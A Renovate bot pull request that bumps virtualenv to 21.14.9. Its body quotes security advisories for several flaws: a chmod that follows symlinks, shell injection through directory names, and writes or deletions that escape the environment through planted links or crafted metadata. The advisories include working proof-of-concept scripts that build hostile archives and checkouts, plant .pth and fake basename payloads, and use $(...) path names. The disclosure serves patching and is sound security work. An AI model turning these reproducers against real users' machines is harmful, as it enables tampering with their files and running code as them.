chore(deps): update dependency virtualenv to v21.14.9 [security] by renovate-bot · Pull Request #1496 · GoogleCloudPlatform/cloud-sql-python-connector

renovate-bot · 2026-10-26T03:26:53Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
virtualenv (changelog)	`==21.14.7` → `==21.14.9`

virtualenv: Deletion recovery can change a symlink target's mode

CVE-2026-113724 / GHSA-43mp-35q3-x3fq

More information

Details

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows
symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have
permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in
safe_delete().

Mechanism

safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler
calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's
mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become
0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user;
root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to
the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and
virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the
key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the
key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the
widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to

#3222, first released in 21.7.5. PR #3427 avoids POSIX mode changes on
deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence

sequenceDiagram
    participant A as Prepared read-only venv tree
    participant V as safe_delete error handler
    participant L as Symlink in venv
    participant K as User's 0400 key
    A->>V: virtualenv venv or --clear venv
    V->>L: unlink fails in 0555 directory
    V->>L: lstat returns link mode 0777
    V->>L: chmod follows symlink
    L->>K: target mode becomes 0777
    V-->>A: retry fails with PermissionError
    Note over K: Other accounts can use new mode if parent paths are traversable

Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

##### the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

##### from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)

def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
    home = work / home_name
    archive = work / archive_name
    key = home / "keys" / "deploy.pem"
    key.parent.mkdir(parents=True)
    key.write_text("PRIVATE KEY\n")
    key.chmod(0o400)
    subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

    mode_before = stat.S_IMODE(key.stat().st_mode)
    command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
    result = subprocess.run(
        command,
        cwd=home / "proj",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    mode_after = stat.S_IMODE(key.stat().st_mode)

    print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
    print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
    return mode_before, mode_after

control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

##### check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/make_project_archive.py


#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
    python_folder = tarfile.TarInfo("proj/venv/bin/python")
    python_folder.type = tarfile.DIRTYPE
    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
    archive.addfile(python_folder)

    link = tarfile.TarInfo("proj/venv/bin/python/entry")
    link.type = tarfile.SYMTYPE
    link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
    archive.addfile(link)

Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion
failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that
opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It
rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains
outside this protection.

Fix: PR #3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before
retrying with broader privileges.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

CVE-2026-113722 / GHSA-c978-59m8-c77v

More information

Details

Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.

Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.

Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a
generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

Affected code

The relevant 21.14.8 source is in
ScriptMakerCustom.

Mechanism

The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like
'''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.

Reproduction and evidence

The scanner created three environments: a control under my -touch PWNED- project, one under
my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was
created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.
PR #3417 quotes the raw interpreter path for the POSIX wrapper and
repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip
install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up
review reports that later path separately.

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

##### The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

##### check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The
pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's
vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing
launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to
regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.
The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are
attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's
generated-script precedent. The vector
assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are
required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review
records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are
unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating
environments at destinations derived from untrusted input.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

Severity

CVSS Score: 7.8 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Builtin creation follows linked environment directories

CVE-2026-113716 / GHSA-cw65-gx24-rc82

More information

Details

Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.

Affected code

The relevant 21.14.8 source is in
builtin creator,
ensure_dir().

Mechanism

The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing
symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
--clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree.
With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote
python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later
pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A
second case began with the bin link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.

Attack sequence

sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)

def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation

print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)

##### python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

##### check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")

repro.d/checkout_with_bin_link.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

##### one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

##### relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")

repro.d/checkout_with_bin_link_staying_inside.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

##### pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

##### six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation
output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.
Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced
link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree
replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by
another account.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Generated files can follow existing destination links

CVE-2026-113721 / GHSA-558c-9hv2-4prj

More information

Details

Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The
template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the
existing path directly.

Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Final file entries written during environment creation and seeding.

Attacker-controlled input

Another account must be able to prepare file links in the destination before creation. The invoking user must have write
permission at the linked target. The destination parent must remain controlled during creation; concurrent
parent-directory replacement is a separate concern.

Affected code

The relevant 21.14.8 source is in
template writer,
configuration writer.

Mechanism

ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true. A dangling symlink
therefore survives, and write_bytes() creates its target outside the environment. Other generated files have related
final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard
link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's
permission to write the linked target.

Reproduction and evidence

The scanner's project tree contains venv/bin/activate -> ../../../.bash_aliases and an executable venv/bin/basename.
Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation
script through the dangling link, creating ~/.bash_aliases as a regular file. Debian's stock .bashrc sources that
file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer
checks that the link remains, ~/.bash_aliases appears, and the second shell executes the planted file. A separate
manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated
bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not
arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first
released in 20.0.0b1. PR #3431 replaces pre-existing output links and
uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent
directories during creation.

Attack sequence

sequenceDiagram
    participant A as Prepared project tree
    participant V as virtualenv writer
    participant H as User home
    participant B as Next interactive bash
    A->>V: venv/bin/activate links to missing ~/.bash_aliases
    V->>V: Path.exists() follows link and returns false
    V->>H: write activation bytes through link
    H-->>B: ~/.bash_aliases now exists
    B->>H: .bashrc sources ~/.bash_aliases
    B->>A: PATH reaches planted venv/bin/basename
    A-->>B: marker created
    Note over V,H: pyvenv.cfg can also overwrite an existing linked target

Reproducer files

The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile

##### set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists
home = tempfile.mkdtemp(prefix="home-")
shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc")
bash_aliases = f"{home}/.bash_aliases"
marker = f"{home}/attacker-ran"
open_terminal = ["bash", "-i", "-c", "true"]
terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}

##### the attacker's repository, cloned by the user to ~/proj
checkout = f"{home}/proj"
subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True)
activate = f"{checkout}/venv/bin/activate"
print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)

##### a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)
print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True)
assert not os.path.lexists(bash_aliases) and not os.path.exists(marker)

##### trigger: the user creates an environment in the checkout, then opens a new terminal
subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)

##### check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases
print("venv/bin/activate is still the symlink:", os.path.islink(activate))
written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)
print("~/.bash_aliases created as a regular file:", written_outside)
if written_outside:
    print("  its first line:", open(bash_aliases).readline().rstrip())
attacker_code_ran = os.path.exists(marker)
print("after a new terminal, marker exists:", attacker_code_ran)
if attacker_code_ran:
    print("  it says:", open(marker).read().rstrip())
print("BUG" if written_outside and attacker_code_ran else "OK")

repro.d/fake_basename.sh


#!/bin/sh
echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran"
exec /usr/bin/basename "$@"

repro.d/make_hostile_checkout.py

import os
import shutil
import sys

checkout = sys.argv[1]
bin_dir = os.path.join(checkout, "venv", "bin")
os.makedirs(bin_dir)

##### venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist
os.symlink("../../../.bash_aliases", os.path.join(bin_dir, "activate"))

##### the bash activation script runs $(basename "$VIRTUAL_ENV") right after putting venv/bin first on PATH
fake_basename = os.path.join(bin_dir, "basename")
shutil.copy(os.path.join(os.path.dirname(__file__), "fake_basename.sh"), fake_basename)
os.chmod(fake_basename, 0o755)

Impact

Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File
contents are constrained by what virtualenv generates.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text
files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It
then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the
configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final
seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib
writes still require a destination protected from concurrent replacement.

Fix: PR #3431.

Known mitigation

Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.

Affected release

The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

virtualenv: Seed replacement does not contain metadata deletion paths

CVE-2026-113719 / GHSA-hhxq-47xx-j5xx

More information

Details

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths
without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must
have deletion rights over the paths named by that metadata. Installing a new environment without existing package
metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in
seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info
directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to
site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt
contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held
Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths.
A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in
place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It
requires an existing destination that another account could populate; a fresh empty environment does not supply hostile
metadata. The report traces this cleanup to #2186, first released in 20.8.1.
PR #3428 checks each deletion path against the resolved environment root
and refuses to delete the root itself.

Attack sequence

sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")

def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home

def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )

def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")

def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]

##### control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

##### attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

##### check: creating an environment must never delete the user's files outside it
